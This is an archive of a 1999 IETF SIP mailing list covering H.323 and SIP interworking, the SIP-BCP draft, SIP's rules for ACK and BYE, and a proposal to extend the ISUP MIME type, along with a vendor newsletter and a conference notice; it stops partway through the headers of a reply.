X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: [Fwd: translation between H.323 and SIP ?]
Content-Type: multipart/mixed;
 boundary="------------15F17DDF86F25A056ED49772"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------15F17DDF86F25A056ED49772
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

This query belongs to mmusic, not iptel.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen
--------------15F17DDF86F25A056ED49772
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from zubin.dnrc.bell-labs.com (zubin.dnrc.bell-labs.com [135.180.130.56])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id IAA05345;
	Wed, 8 Sep 1999 08:54:14 -0400 (EDT)
Received: from lists.research.bell-labs.com (paperless [135.180.161.172])
	by zubin.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id IAA21912;
	Wed, 8 Sep 1999 08:54:09 -0400 (EDT)
Received: by lists.research.bell-labs.com (Postfix)
	id 9A7A552B6; Wed,  8 Sep 1999 08:51:31 -0400 (EDT)
Delivered-To: iptel-outgoing-local@paperless.dnrc.bell-labs.com
Received: by lists.research.bell-labs.com (Postfix, from userid 20006)
	id D87B852E0; Wed,  8 Sep 1999 08:51:30 -0400 (EDT)
Delivered-To: iptel-local@paperless.dnrc.bell-labs.com
Message-ID: <3B9AA5E712DCD011AAD500609770A0E926CC54@TOKYO>
From: "GATTA, Matteo" <gatta@isd-nec.co.uk>
To: IPTEL <iptel@lists.research.bell-labs.com>
Subject: translation between H.323 and SIP ?
Date: Wed, 8 Sep 1999 13:50:15 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Sender: owner-iptel@lists.research.bell-labs.com
Precedence: bulk
Content-Type: text/plain

	Hi all,

	Does anybody know whether it is available somewhere a draft
specification for translating between H.323 and SIP?

	Thank you in advance.

	Bye

---------------------------------------------
Matteo Gatta
Senior Engineer
Node and Signalling Department
Telecommunications Technologies Division
NEC Europe Ltd.
Voice:    + 44 1753 606939
Fax:      + 44 1753 606901
E-mail:   gatta@isd-nec.co.uk
---------------------------------------------


---------
This message came from the IETF IPTEL Working Group Mailing List.

--------------15F17DDF86F25A056ED49772--


From confctrl-owner  Wed Sep  8 07:56:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA06152
	for confctrl-outgoing; Wed, 8 Sep 1999 07:56:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA06147
	for <confctrl@zephyr.isi.edu>; Wed, 8 Sep 1999 07:56:44 -0700 (PDT)
Received: from l3mail02.level3.com (l3mail02.l3.com [209.119.32.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA05979
	for <confctrl@ISI.EDU>; Wed, 8 Sep 1999 07:56:43 -0700 (PDT)
From: Aparna.Vemuri@Level3.com
Received: by level3.com with Internet Mail Service (5.5.2448.0)
	id <SPPHHFS5>; Wed, 8 Sep 1999 08:55:33 -0600
Message-ID: <6DD3824BDF75D211930E0008C71EC92004096641@l3lsvlmail02.l3.com>
To: confctrl@ISI.EDU
Cc: ericz@ipverse.com, Aparna.Vemuri@Level3.com, vijayn@ipverse.com,
        bfmorgan@ipverse.com, Gonzalo.Camarillo@ericsson.com,
        smayer@dynamicsoft.com
Subject: SIP-BCP
Date: Wed, 8 Sep 1999 08:51:19 -0600 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

This is a first draft of the proposed SIP-BCP.
http://www.ietf.org/internet-drafts/draft-zimmerer-mmusic-sip-bcp-t-00.txt

This is a collaborative effort- comments/suggestions are welcome.

Thanks,
Aparna V.
Level 3 Communications.

From confctrl-owner  Wed Sep  8 10:38:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA13546
	for confctrl-outgoing; Wed, 8 Sep 1999 10:38:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA13541
	for <confctrl@zephyr.isi.edu>; Wed, 8 Sep 1999 10:38:38 -0700 (PDT)
Received: from l3londmail02.l3.com (machine.london1.eu.level3.net [212.113.2.161])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA21534
	for <confctrl@ISI.EDU>; Wed, 8 Sep 1999 10:38:37 -0700 (PDT)
Received: by l3londmail02.eu.l3.com with Internet Mail Service (5.5.2448.0)
	id <SLJSPBSF>; Wed, 8 Sep 1999 18:35:24 +0100
Message-ID: <6FA15EC018C1D211AA4C0008C70D033002B0CEBC@l3londmail02.eu.l3.com>
From: "Kausar, Nadia" <Nadia.Kausar@Level3.com>
To: "'gatta@isd-nec.co.uk'" <gatta@isd-nec.co.uk>, confctrl@ISI.EDU
Subject: RE: [Fwd: translation between H.323 and SIP ?]
Date: Wed, 8 Sep 1999 18:35:23 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I am not aware of any draft specification, but I wrote a paper with Jon
crowcroft in UCL a while back on SIP and H.323 interoperability and
conference control

check: http://www.spie.org/web/meetings/programs/pe99/confs/3845.html
paper titled "An architecture of conference control functions"



cheers
Nadia
-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@bell-labs.com]
Sent: 08 September 1999 15:08
To: confctrl@ISI.EDU
Subject: [Fwd: translation between H.323 and SIP ?]


This query belongs to mmusic, not iptel.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen
-----------------------------------------------

Hi all,

	Does anybody know whether it is available somewhere a draft
specification for translating between H.323 and SIP?

	Thank you in advance.

	Bye

---------------------------------------------
Matteo Gatta
Senior Engineer
Node and Signalling Department
Telecommunications Technologies Division
NEC Europe Ltd.
Voice:    + 44 1753 606939
Fax:      + 44 1753 606901
E-mail:   gatta@isd-nec.co.uk
---------------------------------------------

From confctrl-owner  Wed Sep  8 23:23:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA15530
	for confctrl-outgoing; Wed, 8 Sep 1999 23:23:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA15525
	for <confctrl@zephyr.isi.edu>; Wed, 8 Sep 1999 23:23:46 -0700 (PDT)
Received: from fastmail.vertical.net (fastmail.vertical.net [146.145.74.44])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA04134
	for <confctrl@ISI.EDU>; Wed, 8 Sep 1999 23:23:45 -0700 (PDT)
Date: Wed, 8 Sep 1999 23:23:45 -0700 (PDT)
Message-Id: <199909090623.XAA04134@tnt.isi.edu>
Received: from fastmail (172.16.0.44) by fastmail.vertical.net (LSMTP for Windows NT v1.1b) with SMTP id <3.0002D9EF@fastmail.vertical.net>; Thu, 9 Sep 1999 2:11:37 -0400
From: Computer OEM Online <newsletter@vertical.net>
Subject: Computer OEM Online Newsletter
To: confctrl@ISI.EDU
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

============================================================
Computer OEM Online Newsletter
Volume 2   Issue 46
Wednesday, September 08, 1999
============================================================

Computer OEM Online's System Strategy case study series continues. Frank Carau,
R&D Lab Manager at Hewlett-Packard's Portable Capture and Communications
facility, describes how code coverage and regression test analyses tools helped
his team speed a 500-000-gate ASIC to successful first-pass completion. Read
about it at http://www2.computeroemonline.com/read/nl19990907/10080.


******** NATIONAL SPONSOR ********

The 9.99% fixed Bank One Platinum Business Card Visa. No annual fee and up
to $25,000 line of credit. Track expenses, simplify tax reporting, and
streamline your finances. Apply online by visiting:
http://app1.firstusa.com/card.cfm/XPL6UBC13/6B3Z


******** Computer OEM Online’s Weekly Selection:  ********

Advanced Routing of Electronic Modules A vision of the future in advanced
electronics by Michael Pecht, Yeun Tsun G.Wong
The rapid growth of the electronic products market has created an increasing
need for affordable, reliable, high-speed and high-density multi-layer printed
circuit boards (PCBs).
Our Price: $95.00!  To read more and purchase this book, visit:
http://www2.computeroemonline.com/read/nl19990907/10138


****** FEATURED ARTICLES selected by Alex Mendelsohn ******

1) Digital Car Stereo DSP Chip Samples
2) Multiple Instruction-Set Technology Takes A Bow
3) Analog Devices Implements Intel Mobile Power Management

------------------------------------------------------------

1) Digital Car Stereo DSP Chip Samples
IC house STMicroelectronics starts sampling a 3 V mixed-signal DSP-based
baseband processor chip for all-digital car stereos. ST's programmable approach
lets you add features simply by changing firmware. Try that with your
conventional analog car stereo!

http://www2.computeroemonline.com/read/nl19990907/10003


2) Multiple Instruction-Set Technology Takes A Bow
As part of the Navy's Dual Use Science & Technology program sponsored by the
Office of Naval Research, CPU Technology, Inc. is developing a core processing
architecture it says will make possible upgraded high-end embedded systems. CPU
Tech will supply a system-on-a-chip that will work/run both legacy processors
and software without changes, and new higher-order languages and commercial off-
the-shelf software tools.

http://www2.computeroemonline.com/read/nl19990907/10004


3) Analog Devices Implements Intel Mobile Power Management
Chip makers Analog Devices releases the industry's first DC-to-DC converter to
incorporate Intel's Mobile Voltage Positioning technology.

http://www2.computeroemonline.com/read/nl19990907/10005


******** EDITOR'S CHOICE PRODUCTS ********

1) ZIF BGA Sockets
2) Display Driver ICs
3) LVT Logic

------------------------------------------------------------

1) ZIF BGA Sockets
Zero insertion force BGA sockets permit repeated tool-free removal and
insertion of ball-grid-array-packaged microprocessors.

http://www2.computeroemonline.com/read/nl19990907/10007


2) Display Driver ICs
Type CS1084, '85, and '86 driver ICs contain the circuitry needed to interface
between a system microprocessor and automotive Vacuum Fluorescent Display
instrumentation.

http://www2.computeroemonline.com/read/nl19990907/10008


3) LVT Logic
Designed for 3.3 V applications, logic line includes the 74LVTH273 octal D-type
flip-flop with Clear, the 74LVT373/74LVTH373 octal transparent latch with three-
state outputs, and the 74LVT374/74LVTH374 octal D-type with three-state
outputs. Available with and without Bus-hold, the high speed (less than 4.5
nanosecond) ICs can be used for off-board driving applications such as
backplanes, memory arrays, telecom switches, and in networking applications.
Bus-hold maintains a valid logic state on an unloaded input, eliminating the
need for external pull-up or pull-down resistors to prevent floating inputs.

http://www2.computeroemonline.com/read/nl19990907/10009


******** ADVERTISEMENT ********

The award winning My Lycos is the fast and easy-to-use start page -
providing you with personalized news, weather, stock quotes, horoscopes,
weather, sports scores and more.  Try it now - http://my.lycos.com.


***** FEATURED COMPANIES (information from sponsors): ******

Visit the companies below for more industry news and product information:

Adapter Technologies Inc. was established in 1994 to provide interconnect
solutions to OEMs that required application specific products to produce their
end products. Working with fortune 100, 500 and 1000 companies world wide,
their products consist from small run to large run production quantities,
research and development products and high end electronic assemblies
encompassing surface mount technologies and thru hole technologies.
Visit Adapter Technologies Inc. at:
http://www2.computeroemonline.com/storefronts/adaptertech.html

NKK Switches provides comprehensive manufacturing, warehousing, and other sales
services from its USA headquarters in Scottsdale, Arizona. An extensive staff
of knowledgeable marketing and sales personnel is on call to provide technical
information as well as pricing and delivery schedules.
Visit NKK Switches at:
http://www2.computeroemonline.com/storefronts/nkk.html

Ziatech Corporation is a leading supplier of rugged CompactPCI® and STD 32®
industrial computers. They manufacture board-level, system-level, and fully
integrated microcomputer products for OEMs and end users seeking to automate
their applications quickly and cost effectively.
Visit Ziatech Corporation at:
http://www2.computeroemonline.com/storefronts/ziatech.html


Thanks for subscribing to Computer OEM Online's weekly newsletter. Tell your
friends and associates about it. Have questions, or suggestions? Call Managing
Editor Alex Mendelsohn at (207) 967-8812.

-------------------------------------------------------------------

If you enjoy reading Computer OEM Online's Newsletter, please tell a
friend or colleague about it.  Anyone can sign up for a free
subscription on our Web site at http://www.computeroemonline.com

--------------------------------------------------------------------

If your company wishes to sponsor this newsletter, please
contact Sherylen Yoak at mailto:syoak@verticalnet.com to learn more.

==========================================================

If you wish to unsubscribe, please go to the following web page:
http://www2.computeroemonline.com/content/newsletter/unsubscribe.asp

==========================================================
The Computer OEM Online Homepage: http://www.computeroemonline.com

(c) Copyright 1999 VerticalNet, Inc. All rights reserved. All
product names contained herein are the trademarks of their
respective holders.




From confctrl-owner  Fri Sep 10 00:50:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA09272
	for confctrl-outgoing; Fri, 10 Sep 1999 00:50:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA09267
	for <confctrl@zephyr.isi.edu>; Fri, 10 Sep 1999 00:50:16 -0700 (PDT)
Received: from s2.smtp.oleane.net (s2.smtp.oleane.net [195.25.12.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA26637
	for <confctrl@isi.edu>; Fri, 10 Sep 1999 00:50:15 -0700 (PDT)
Received: from nec.oleane.com  (dyn-1-1-253.Cor.dialup.oleane.fr [62.161.8.253])  by s2.smtp.oleane.net  with SMTP id JAA33632 for <confctrl@isi.edu>; Fri, 10 Sep 1999 09:50:13 +0200 (CEST)
Message-ID: <009c01befb61$45b8efe0$0201a8c0@nec.oleane.com>
From: "Peter lewis" <peter.lewis@upperside.fr>
To: <confctrl@ISI.EDU>
Subject: QoS Summit
Date: Fri, 10 Sep 1999 09:51:20 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

QoS Summit: key requirements for advanced applications running on future
networks. Technologies (MPLS, ATM, IntSev/DiffServ, Frame Relay).
Managing, policing, billing, charging QoS. The annual rendez-vous with
top senior specialists.
Paris, France, 16-19 November 1999

Please see details at the following web address:
http://www.upperside.fr/baqos.htm

Sorry to post this message on the list.

Thanks


From confctrl-owner  Fri Sep 10 07:42:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA23708
	for confctrl-outgoing; Fri, 10 Sep 1999 07:42:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA23703
	for <confctrl@zephyr.isi.edu>; Fri, 10 Sep 1999 07:42:10 -0700 (PDT)
Received: from nausicaa.coritel.it ([193.205.242.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13464
	for <confctrl@isi.edu>; Fri, 10 Sep 1999 07:41:51 -0700 (PDT)
Received: from athena (athena.coritel.it [193.205.242.51])
	by nausicaa.coritel.it (8.9.3/8.9.3) with SMTP id QAA08063
	for <confctrl@isi.edu>; Fri, 10 Sep 1999 16:11:57 +0200 (MET DST)
Message-ID: <001701befb9a$ff869ce0$33f2cdc1@coritel.it>
From: "Shary" <shary@coritel.it>
To: "SIPML" <confctrl@ISI.EDU>
Subject: Ack and Bye 
Date: Fri, 10 Sep 1999 16:44:33 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,
I have some simple questions:
1) What is the behavior of a redirect server when arrives an ACK message?
2) In some slides (e.g.
http://www.cdt.luth.se/~dick/smd074/99/RTPConf/slide23.html  ) I have found
that BYE request is acknowledged,but in section 4.2.2. it's written : "Ack
is used only with Invite request".So,does Bye request have to be
acknowledged ?



From confctrl-owner  Fri Sep 10 08:06:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA24693
	for confctrl-outgoing; Fri, 10 Sep 1999 08:06:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA24684
	for <confctrl@zephyr.isi.edu>; Fri, 10 Sep 1999 08:06:25 -0700 (PDT)
Received: from qhars001.nortel.com (qhars001.NortelNetworks.com [192.100.101.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA14934
	for <confctrl@isi.edu>; Fri, 10 Sep 1999 08:06:24 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars001.nortel.com; Fri, 10 Sep 1999 16:04:56 +0100
Received: by zhard00m.europe.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <RY1Y7G9M>; Fri, 10 Sep 1999 16:04:55 +0100
Message-ID: <61ABD11436FED21192440000F81F3E36012B6F21@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        sigtran@standards.nortelnetworks.com,
        "'huitema@research.telcordia.com'" <huitema@research.telcordia.com>,
        "'ericz@ipverse.com'" <ericz@ipverse.com>
Subject: ISUP MIME type
Date: Fri, 10 Sep 1999 16:04:52 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain; charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I have some comments on the Internet Drafts proposing an ISUP MIME type -
basically I think these could be improved to better capture the types of
ISUP variants which exist and the relationships between them.

This idea is described in detail below. There are four open issues at the
end - can anyone help with these ?

I've cross-posted this to mmusic and sigtran since similar I-Ds have been
put forward in both groups. I suggest follow-ups go to mmusic only to save
confusion.

Regards,

Mark Watson
Nortel Networks, UK
+44 1628 434456
mwatson@nortelnetworks.com


Comments on the proposed ISUP MIME type
-----------------------------------------------------------------------

Internet draft draft-zimmerer-mmusic-sip-isup-mime-00.txt (July 1999)
describes a new MIME type for carrying C7 ISUP messages within the body of a
SIP request/response.

A key feature of ISUP signalling, from ITU-T White Book onwards, is the
compatibility mechanism. This introduces forward compatibility in that
allows future versions of the protocol, and regional and national variants
of the protocol can be sucessfully processed by node conformant to earlier
specifications.

This is achieved by new protocol extensions being accompanied by
'compatibility extensions' which tell earlier version nodes how to process
the unrecognised parameters and messages - either pass them on, discard them
or clear the call.

Therefore, if a node knows that a particular variant of ISUP is based on
ITU-T White Book, then it need not understand the whole variant in order to
sucessfully process it. This is particularly the case in 'toll bypass'
applications.

Equally, if a node knows that a particular ISUP is based on ETSI ISUP v2,
and the node supports ETSI v2, then it can sucessfully process the ETSI
extensions, without needing to know any other national extensions which may
be present.

It would be desireable to include mode detailed ISUP variant information in
the MIME content type for ISUP. This would allow nodes supporting just ITU-T
White Book to sucessfully process regional and national variants of White
Book.

This could be achieved by several parameters instead of the single 'version'
parameter to the application/isup media type.

The first parameter 'protocol' would indicate whether the protocol was based
on Blue Book (i.e. no compatibility mechanism) or on White Book or later
(i.e. compatibility mechanism):

Parameter Name: 'protocol'	Value set: { 'ISUPblue', 'ISUPwhite' }

The second parameter would indicate whether any extensions specified by a
regional standards body were present, or whether the protocol was the Q.767
version of blue book (a subset of Blue Book specified for International
Use).

Parameter Name: 'version'	Value set: 	protocol=ISUPblue	{
'ansi', 'etsi', 'q767', 'ntt' }
						protocol=ISUPwhite	{
'ansi', 'gr317', 'etsi', 'ntt' }

So, 'protocol=ISUPblue version=etsi' implies ETSI ISUP v1 (which happens to
be the same as 'book=blue version=q767'). 'protocol=ISUPwhite version=etsi'
implies ETSI v2 or higher. Note it is not necessary to distinguish between
ETSI ISUP v2 and higher versions because of the compatibility mechanism.

Similar clarification for the ANSI versions of blue and white book is
required, as well as for Japanese and other regional version (if there are
any)

Finally, there are a number of national variants of ETSI ISUP v1 and v2. In
the case of the v2 variants, then comprehension of the national extensions
may not always be required according to the compatibility mechanism. Some
kind of country identification is required - I've used informal two
character country codes, but a more formal identification scheme is
required.

Parameter Name: 'extensions'	Value set:	protoco=ISUPblue
version=etsi		{ 'it', ... }
							protocol=ISUPwhite
version=etsi 	{ 'uk1', 'uk2.2', 'fr' ... }
							protocol=ISUPwhite
version=ntt	{ '90.10v1', '90.10v2' }

Further work is required on this proposal to correctly capture the various
versions of ANSI ISUP and Japan ISUP. The value sets for the 'extensions'
parameter could be owned initially by the regional standards bodies, but
should be delegated to individual national standards organisations.

Telephony User Part/Register signalling

Some countries still use the older Telephony User Part or even register
signalling such as R2, rather than the ISDN User Part for their signalling.
In a number of countries (in particular most of Europe) national variants of
ISUP exist which can be used in place of the TUP variants with no loss of
services.

Standard ISUP can be used in place of register signalling.

When moving to IP technology, it does not make sense to perpetuate this
legacy signalling within the IP network, when the level of services can be
maintained with ISUP. There is therefore no need to carry protocols such as
BT NUP (aka IUP), France's SSUTR2, R2 etc.

In certain other countries there may not yet be a national variant of ISUP
which can suport the same services as the national TUP (e.g. China ?) and in
these cases there may be a need to carry the TUP signalling. It may
therefore be necessary to extend the value set for the 'protocol' parameter
to include { 'TUPred', 'TUPblue' } etc.

Examples

UK ISUP version 2.2 would therefore be encoded as:

Content-type: application/isup; protocol="isupwhite" version="etsi"
extensions="uk2.2"

Chinese TUP might be encoded as:

Content-type: application/isup; protocol="tupred" version="china"

If the extension to TUPs is decided to be required, then it may be sensible
to rename the MIME subtype to 'ccs7' for 'Common Channel Signalling System
No. 7'.

Proposal

The ISUP MIME type parameters should be enhanced as described above to
better capture the version/variant information.

Open Issues

1) What are the versions of ANSI/Bellcore ISUP which need to be captured ?
2) What are the versions/variants of Japanese ISUP which need to be captured
?
3) Are there any other regional standards bodies which have defined an ISUP
other than ANSI, ETSI and Japan ?
4) What is the best naming scheme for the 'extensions' parameter in order to
give every country some name-space ?

ends



From confctrl-owner  Fri Sep 10 09:22:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA27960
	for confctrl-outgoing; Fri, 10 Sep 1999 09:22:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA27955
	for <confctrl@zephyr.isi.edu>; Fri, 10 Sep 1999 09:22:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA21622
	for <confctrl@isi.edu>; Fri, 10 Sep 1999 09:22:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Sep 10 12:20:04 EDT 1999
Received: from dnrc.bell-labs.com (igorspc.dnrc.bell-labs.com [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id MAA01650;
	Fri, 10 Sep 1999 12:20:05 -0400 (EDT)
Message-ID: <37D93179.605F4424@dnrc.bell-labs.com>
Date: Fri, 10 Sep 1999 12:27:37 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en,ru
MIME-Version: 1.0
To: Shary <shary@coritel.it>
CC: SIPML <confctrl@ISI.EDU>
Subject: Re: Ack and Bye
References: <001701befb9a$ff869ce0$33f2cdc1@coritel.it>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Shary wrote:
> 
> Hello,
> I have some simple questions:
> 1) What is the behavior of a redirect server when arrives an ACK message?

If this is the ACK for a transaction for which the server originated the
final response, then the server stops final response retransmission.
Otherwise, it forwards the ACK.

> 2) In some slides (e.g.
> http://www.cdt.luth.se/~dick/smd074/99/RTPConf/slide23.html  ) I have found
> that BYE request is acknowledged,but in section 4.2.2. it's written : "Ack
> is used only with Invite request".So,does Bye request have to be
> acknowledged ?

This is certainly wrong. Only INVITE messages are acknowledged. Other
problems with that slide: the first INVITE there is not acknowledged;
the second INVITE should go to the redirected address
(sip:eve@east.isi.edu); all SIP addresses should indicate  "sip:"
protocol.

---
Igor Slepchin

From confctrl-owner  Fri Sep 10 12:16:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA05567
	for confctrl-outgoing; Fri, 10 Sep 1999 12:16:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA05562
	for <confctrl@zephyr.isi.edu>; Fri, 10 Sep 1999 12:16:09 -0700 (PDT)
Received: from telesoft.indts.com ([164.164.71.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA10917
	for <confctrl@ISI.EDU>; Fri, 10 Sep 1999 12:16:02 -0700 (PDT)
Received: from B_ANURAG ([201.64.64.174])
	by telesoft.indts.com (8.8.7/8.8.7) with SMTP id AAA32038;
	Sat, 11 Sep 1999 00:45:59 +0530
Received: by B_ANURAG with Microsoft Mail
	id <01BEFBEF.73A548C0@B_ANURAG>; Sat, 11 Sep 1999 00:49:06 +0530
Message-ID: <01BEFBEF.73A548C0@B_ANURAG>
From: Anurag Vohra <vohra@indts.com>
To: "'Aparna.Vemuri@Level3.com'" <Aparna.Vemuri@Level3.com>,
        "confctrl@ISI.EDU" <confctrl@ISI.EDU>
Cc: "ericz@ipverse.com" <ericz@ipverse.com>,
        "vijayn@ipverse.com"
	 <vijayn@ipverse.com>,
        "bfmorgan@ipverse.com"
	 <bfmorgan@ipverse.com>,
        "Gonzalo.Camarillo@ericsson.com"
	 <Gonzalo.Camarillo@ericsson.com>,
        "smayer@dynamicsoft.com"
	 <smayer@dynamicsoft.com>
Subject: RE: SIP-BCP
Date: Sat, 11 Sep 1999 00:49:05 +0530
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id MAA05563
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
 Is there any call-flow document in existance w.r.t. usage of SIP for inter MGC communications. 

Thanks in advance,
Anurag


-----Original Message-----
From:	Aparna.Vemuri@Level3.com [SMTP:Aparna.Vemuri@Level3.com]
Sent:	Wednesday, September 08, 1999 8:21 PM
To:	confctrl@ISI.EDU
Cc:	ericz@ipverse.com; Aparna.Vemuri@Level3.com; vijayn@ipverse.com; bfmorgan@ipverse.com; Gonzalo.Camarillo@ericsson.com; smayer@dynamicsoft.com
Subject:	SIP-BCP

Hello,

This is a first draft of the proposed SIP-BCP.
http://www.ietf.org/internet-drafts/draft-zimmerer-mmusic-sip-bcp-t-00.txt

This is a collaborative effort- comments/suggestions are welcome.

Thanks,
Aparna V.
Level 3 Communications.

From confctrl-owner  Fri Sep 10 13:38:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA08930
	for confctrl-outgoing; Fri, 10 Sep 1999 13:38:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA08925
	for <confctrl@zephyr.isi.edu>; Fri, 10 Sep 1999 13:38:41 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA23103
	for <confctrl@ISI.EDU>; Fri, 10 Sep 1999 13:38:40 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id PAA09499;
	Fri, 10 Sep 1999 15:36:42 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id PAA05147;
	Fri, 10 Sep 1999 15:36:42 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id PAA03453; Fri, 10 Sep 1999 15:36:41 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id PAA22238;
	Fri, 10 Sep 1999 15:36:35 -0500 (CDT)
Message-Id: <199909102036.PAA22238@b04a24.exu.ericsson.se>
Subject: Re: ISUP MIME type
To: mwatson@nortelnetworks.com (Mark Watson)
